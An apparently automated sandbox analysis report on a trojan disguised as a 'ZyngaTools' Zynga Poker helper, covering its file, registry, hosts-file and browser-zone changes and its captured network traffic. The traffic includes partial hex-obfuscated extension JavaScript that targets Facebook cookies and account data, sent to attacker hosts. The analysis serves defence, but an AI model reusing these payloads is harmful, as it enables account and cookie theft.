MD5: 121dd25c1b88755c970cf68080bc935f
SHA1: 930b418d284a748b4d3ad6cd0f0c680e2117db0f
SHA256: fc516b28acc06cc87bb98a495e26cdafbf3d29a71981e05bfd328d921cd5d362
SSDeep: 12288:o37Ai11QCGOLpAn9nt1KzfiqPokE4Lj0lqoYucB/kCNLogG:o7AKLLa9vKTpLRLELYT/kCtoL
Size: 625393 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: Crawler.com, LLC
Created at: 2010-04-16 10:47:33
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:1192

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1192 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ZyngaTools\manifest.json (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
C:\ZyngaTools\background.js (388 bytes)
C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
%Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
%System%\drivers\etc\hosts (777 bytes)
C:\ZyngaTools\document_idle.js (2500 bytes)
C:\ZyngaTools\icon.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
C:\ZyngaTools\icon_128.png (6532 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

Registry activity

The process %original file name%.exe:1192 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 DE D2 E0 17 A1 E3 20 5E 92 D5 F6 A9 77 66 35"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 400 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://www.zyngatools.com/poker/localhost/latest.php	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/?random=431	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/background.js?random=143	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/document_idle.js?random=678	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon.png?random=556	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon_128.png?random=163	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/manifest.json?random=311	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/announcement.txt	208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/statusbar2.txt	208.89.208.31
hxxp://www.zyngatools.com/poker/server_status.php?v=v6.4	208.89.208.31

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile

Traffic

GET /poker/localhost/latest.php HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html
4..v6.4..0......


GET /poker/localhost/ZyngaTools/?random=431 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html
78..background.js:12238.document_idle.js:24963.icon.png:1247.icon_128.
png:44672.jquery-1.9.0.min.js:93068.manifest.json:756...0......


GET /poker/localhost/ZyngaTools/background.js?random=143 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html
2fce..var _0x5524=["\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31","\x43\x75\x7
3\x74\x6F\x6D\x65\x72","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x
61\x74\x6F\x6F\x6C\x2E\x64\x64\x6E\x73\x2E\x6E\x65\x74","\x68\x74\x74\
x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D","
\x7A","\x79","\x6E","\x67","\x61","\x74","\x6F","\x6C","\x2E","\x64","
\x73","\x65","","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x74\x70\x3A\x2F\x
2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x70\x73\x2E\x73\x6B\x79\
x70\x65\x2E\x63\x6F\x6D\x2F\x63\x6F\x75\x6E\x74\x72\x79\x63\x6F\x64\x6
5","\x63\x6F\x75\x6E\x74\x72\x79\x5F\x63\x6F\x64\x65","\x68\x74\x74\x7
0\x73\x3A\x2F\x2F\x6A\x73\x2E\x6D\x61\x78\x6D\x69\x6E\x64\x2E\x63\x6F\
x6D\x2F\x67\x65\x6F\x69\x70\x2F\x76\x32\x2E\x31\x2F\x63\x69\x74\x79\x2
F\x6D\x65\x3F\x72\x65\x66\x65\x72\x72\x65\x72\x3D\x68\x74\x74\x70\x73\
x25\x33\x41\x25\x32\x46\x25\x32\x46\x77\x77\x77\x2E\x6D\x61\x78\x6D\x6
9\x6E\x64\x2E\x63\x6F\x6D","\x69\x70\x5F\x61\x64\x64\x72\x65\x73\x73",
"\x74\x72\x61\x69\x74\x73","\x69\x73\x6F\x5F\x63\x6F\x64\x65","\x63\x6
F\x75\x6E\x74\x72\x79","\x68\x74\x74\x70\x3A\x2F\x2F\x69\x73\x68\x6F\x
70\x2E\x6D\x79\x2F\x69\x70\x2F","\x2F\x69\x70\x2F\x61\x64\x64\x2E\x70\
x68\x70","\x67\x65\x74","\x2F\x70\x6F\x6B\x65\x72\x2F\x61\x63\x63\x6F\
x75\x6E\x74\x2D\x61\x64\x64\x2E\x70\x68\x70","\x69\x6E\x64\x65\x78\x4F
\x66","\x75\x72\x6C","\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F
\x6D","\x6E\x61\x6D\x65","\x76\x61\x6C\x75\x65","\x5F\x5F\x75\x74\x6D"
,"\x3D","\x3B\x20","\x65\x6D\x61\x69\x6C\x3D\x28\x2E\x2A\x29\x26",
<<< skipped >>>

GET /poker/localhost/ZyngaTools/document_idle.js?random=678 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:22 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html
6183..var _0x5524=["\x43\x75\x73\x74\x6F\x6D\x65\x72","\x68\x74\x74\x7
0\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x64\x64\x6E\x73\
x2E\x6E\x65\x74","\x7A","\x79","\x6E","\x67","\x61","\x74","\x6F","\x6
C","\x2E","\x64","\x73","\x65","","\x6C\x65\x6E\x67\x74\x68","\x68\x74
\x74\x70\x3A\x2F\x2F","\x48\x65\x6E\x64\x65\x72\x73\x6F\x6E","\x2E\x7A
\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F","\x69\x6
E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6
F\x6E","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x
72\x2F\x67\x6F\x6F\x67\x6C\x65","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\
x6D\x2F\x70\x6F\x6B\x65\x72\x2F\x69\x66\x72\x61\x6D\x65\x5F\x70\x72\x6
F\x78\x79\x2E\x70\x68\x70","\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x
3A\x24\x2E\x67\x65\x74\x28\x22","\x2F\x70\x6F\x6B\x65\x72\x2F\x73\x6D\
x61\x72\x74\x66\x6F\x78\x2E\x70\x68\x70\x3F\x64\x61\x74\x61\x3D\x22\x2
0\x2B\x20\x4A\x53\x4F\x4E\x2E\x73\x74\x72\x69\x6E\x67\x69\x66\x79\x28\
x7A\x63\x2E\x4C\x65\x76\x65\x72\x73\x2E\x66\x65\x61\x74\x75\x72\x65\x7
3\x2E\x46\x6C\x61\x73\x68\x5F\x53\x6D\x61\x72\x74\x66\x6F\x78\x2E\x6C\
x65\x76\x65\x72\x73\x29\x29\x3B","\x73\x74\x79\x6C\x65","\x63\x72\x65\
x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\
x78\x74\x2F\x63\x73\x73","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x23\
x6E\x65\x77\x5F\x6F\x76\x65\x72\x6C\x61\x79\x5F\x64\x69\x76\x7B\x74\x6
F\x70\x3A\x20\x32\x30\x30\x30\x70\x78\x7D\x23\x6F\x76\x65\x72\x6C\x61\
x79\x7B\x74\x6F\x70\x3A\x20\x32\x30\x30\x30\x70\x78\x7D\x3B","\x61
<<< skipped >>>

GET /poker/localhost/ZyngaTools/icon.png?random=556 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:23 GMT

Server: Apache/2

Last-Modified: Sat, 02 Nov 2013 04:14:43 GMT

ETag: "30d7220-4df-4ea29ec2132c0"

Accept-Ranges: bytes

Content-Length: 1247

Content-Type: image/png
.PNG........IHDR..............w=.....IDATx..UiH$W......Uc4..W.........
!*..A\..2..FM.  ..1...(.G"[email protected].....^}U_...
.......ihhh|CCC....c.....VVV........B.n.>[email protected]".c   ....g
.......p{{......KKK#.}.6....{...V.p..........HNNV;xuu%[^^.Q..&.d}}.|bb
....J......//.......@__.....l...!((H.......$===.....B...!.......8;;c.I
99??gj``..... &&.}....A 9.%.........kC.,.dgg....R)o..AFF........477...
$....../..Lw.........dllLfkk.....`w0..........L...... ,,.***.....g....
r.R4.411...X.(...#///gk###......"..2::..lll..........>...===_......
#ttt..b..}......X..)...0;;K...A.E.... ...m....haa...............P...XC
<tnkk........a'.r..J%..c....P[[.{{{`iiy.......9....wi....`hh...9...
I.............vl.......X......#...e..Td..%......(fH*.......|nn.....m..
)))|..9...iff......H3kkk........r9tww3zLMMadd.9A*..9>>..X]..Hp.@
bb"DGG.5N....S..Guuu%...y\zt3)ua.$....ytt.:nxx.E......................
._.H6..BWW...T.........M...D.........Q~....T-r.Z.@iii!f.M..3. .NB}....
.P.%%%....._........YD......{......&t&lA...R.srr(......D..j.........7.
5O..'%%App0{'...)...S..N[...a...DUP........=..3...b....p.qB...9.[..f..
..A=!.X.p_..n.9.=.....khZZ...aKK.:.&.#U.....*...V...].*..........-&%R.
....{.QOQ_.._....M..lt4..&...TJN..Q.....U....*..........u.\.....IEND.B
`.....


GET /poker/localhost/ZyngaTools/icon_128.png?random=163 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:23 GMT

Server: Apache/2

Last-Modified: Thu, 06 Jun 2013 07:06:43 GMT

ETag: "30d7224-ae80-4de76f4e506c0"

Accept-Ranges: bytes

Content-Length: 44672

Content-Type: image/png
.PNG........IHDR..............>a....GIDATx.....\..-.n....sVl..e!r."
.`c..m....a.F`.a..#.<......ccr0..[.D...e..n.cUW......so...3.......]
.U7....k...).......j.V.~.6.X6`h....:....j.S..2....\...uX:...9....`..-.
............k......|^)Yr%|....m.j.|..a.<|....:xr^..k...r/.}..V....&
gt;.............n...0.{..P.........i5^..O.....g.Z...rh....<.....t..
...^....a..1...i8._,.pw..M.*..v......ij.......6..,.Z,".L.Cc...x.w-....
.:>]...m...........9.`.E.....!7.C.A............;.._W..i.?0.2..2....
.wP.&.....c..N....?y....L.2...V. .,......y...... cS..{?....`.k.k....b.
b.....o..[....h.Q..f4R3....6.X>_...g.<6............h<j.......
..8.5....kL......(...M..>.QF`)....k5.....^...%....8..p9r~1 .'</v
.....eU.....VY..9.2h.?..yP...w..!..@...#[email protected]..|5..zM.C..
..x.......u.E.1d...T...6..O.m....[..vc. ..A........Ys..x...P.y.R.k....
w..{k...?.......a........8..y*....a..r...........\....8.!..l.d.Q.....K
<>-.n.......8.0.wN...N. ./......i.f......k...8.J...V.....N.\.F.p
.X.:.2...7..k.b..<u^.....1u}...:.U.4R....n,T.f{......>ey.2......
.....&.".2xd.50.|$.@c"..=..:vF?....wv..q..Z.....x.yV!?^ ....[..3NB....
t..7.p..t.J..T.......R.....[......V.GAM.9....d.....}N....a...L.....I..
.[.............?../.../..Oyg..0.zu5...L.....{|.....1.is.d.. ....P.... 
S..*.L!.{...A....MNh.(.x..;6.&ux.........5...........).....((hhO4.O9..
.-[......7{....9O.w..Q.H!.d..;w...5...X....g.h.&.W...^........65Aj..M.
...'o.Z........../B..[...r....E.5..o....../....l..x.._.`j...........n.
..?.&..K".....2.....R. X].k..f.....{.._e.m........{%....-....,.Y..
<<< skipped >>>

GET /poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:23 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: text/html
16b8c../*! jQuery v1.9.0 | (c) 2005, 2012 jQuery Foundation, Inc. | jq
uery.org/license */(function(e,t){"use strict";function n(e){var t=e.l
ength,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"arra
y"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}
function r(e){var t=Tt[e]={};return st.each(e.match(lt)||[],function(e
,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.
expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]
&&s;if(f&&c[f]&&(i||c[f].data)||!u||r!==t)return f||(l?e[s]=f=K.pop()|
|st.guid  :f=s),c[f]||(c[f]={},l||(c[f].toJSON=st.noop)),("object"==ty
peof n||"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.
extend(c[f].data,n)),o=c[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(
o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a
}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st
.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].da
ta)){st.isArray(t)?t=t.concat(st.map(t,st.camelCase)):t in r?t=[t]:(t=
st.camelCase(t),t=t in r?[t]:t.split(" "));for(i=0,o=t.length;o>i;i
  )delete r[t[i]];if(!(n?s:st.isEmptyObject)(r))return}(n||(delete u[l
].data,s(u[l])))&&(a?st.cleanData([e],!0):st.support.deleteExpando||u!
=u.window?delete u[l]:u[l]=null)}}}function a(e,n,r){if(r===t&&1===e.n
odeType){var i="data-" n.replace(Nt,"-$1").toLowerCase();if(r=e.getAtt
ribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null
"===r?null: r ""===r? r:wt.test(r)?st.parseJSON(r):r}catch(o){}st.
<<< skipped >>>

GET /poker/localhost/ZyngaTools/manifest.json?random=311 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:24 GMT

Server: Apache/2

Last-Modified: Tue, 05 May 2015 01:31:30 GMT

ETag: "30d7238-2f4-5154ba34cc080"

Accept-Ranges: bytes

Content-Length: 756

Vary: Accept-Encoding,User-Agent

Content-Type: application/json
{.  "name": "ZyngaTools Extension",.  "version": "6.3",.  "manifest_ve
rsion": 2,.  "description": "Customer Service/ Support Skype: ZyngaToo
ls / ZyngaShop",.  "web_accessible_resources":["*.*"],.  "background":
 { "scripts": ["jquery-1.9.0.min.js" ,"background.js"] },.  "icons": {
.    "128": "icon_128.png".  },. "permissions": ["hXXp://*/*", "https:
//*/*", "cookies", "tabs",......"webRequest", "webRequestBlocking",.  
                  "tabs", "contextMenus",.                    "notific
ations", "storage"],.  "content_scripts": [.    {.      "matches": ["h
ttp://*/*" ,"hXXps://*/*"],..  "js": ["jquery-1.9.0.min.js" ,"document
_idle.js"],..  "run_at": "document_end",..  "all_frames": true,..  "in
clude_globs": ["hXXp://*/*" ,"hXXps://*/*"].    }.  ].}.....


GET /poker/localhost/announcement.txt HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:24 GMT

Server: Apache/2

Last-Modified: Fri, 13 Mar 2015 01:25:53 GMT

ETag: "30d71df-210-51121619faa40"

Accept-Ranges: bytes

Content-Length: 528

Vary: Accept-Encoding,User-Agent

Content-Type: text/plain

X-Pad: avoid browser bug
Dear ZyngaTools User..------------------------------------------------
--------------..To prevent account hacked, please do not download exte
nsion from..ZyngaToolsFree.com ,Zynge tables or zbot etc.....Any impro
vement and new update/featues will be added for Paid user!..Next updat
e/featues(upcoming)..-------------------------------------------------
-------------..Join Room instantly (No more random join room)..Loaded 
Poker without any error and lag..Zero downtime and comfortable gaming.
.Auto Transfer..Auto Advertising......


GET /poker/localhost/statusbar2.txt HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:25 GMT

Server: Apache/2

Last-Modified: Fri, 13 Mar 2015 01:26:33 GMT

ETag: "30d7203-1d-5112164020440"

Accept-Ranges: bytes

Content-Length: 29

Vary: Accept-Encoding,User-Agent

Content-Type: text/plain
Skype: ZyngaTools / ZyngaShop....


GET /poker/server_status.php?v=v6.4 HTTP/1.1

User-Agent: AutoIt

Host: VVV.zyngatools.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 23 Nov 2015 10:04:25 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Vary: Accept-Encoding,User-Agent

Content-Length: 0

Content-Type: text/html

The Trojan connects to the servers at the folowing location(s):

`.rsrc

s%j.Zf

tGHt.Ht&

tCPh

SSSSh

\$%u#Sj

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

This is a compiled AutoIt script. AV researchers please email [email protected] for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

zcÁ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

GetConsoleOutputCP

RegDeleteKeyW

RegCreateKeyExW

RegEnumKeyExW

RegCloseKey

RegOpenKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

y).JZn

].bod:o

[Sub%CR

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"/>

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

mscoree.dll

>>>AUTOIT NO CMDEXECUTE<<<

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 6, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

:C:\%original file name%.exe

%original file name%.exe_1192_rwx_00401000_000AF000:

s%j.Zf

tGHt.Ht&

tCPh

SSSSh

\$%u#Sj

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

This is a compiled AutoIt script. AV researchers please email [email protected] for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

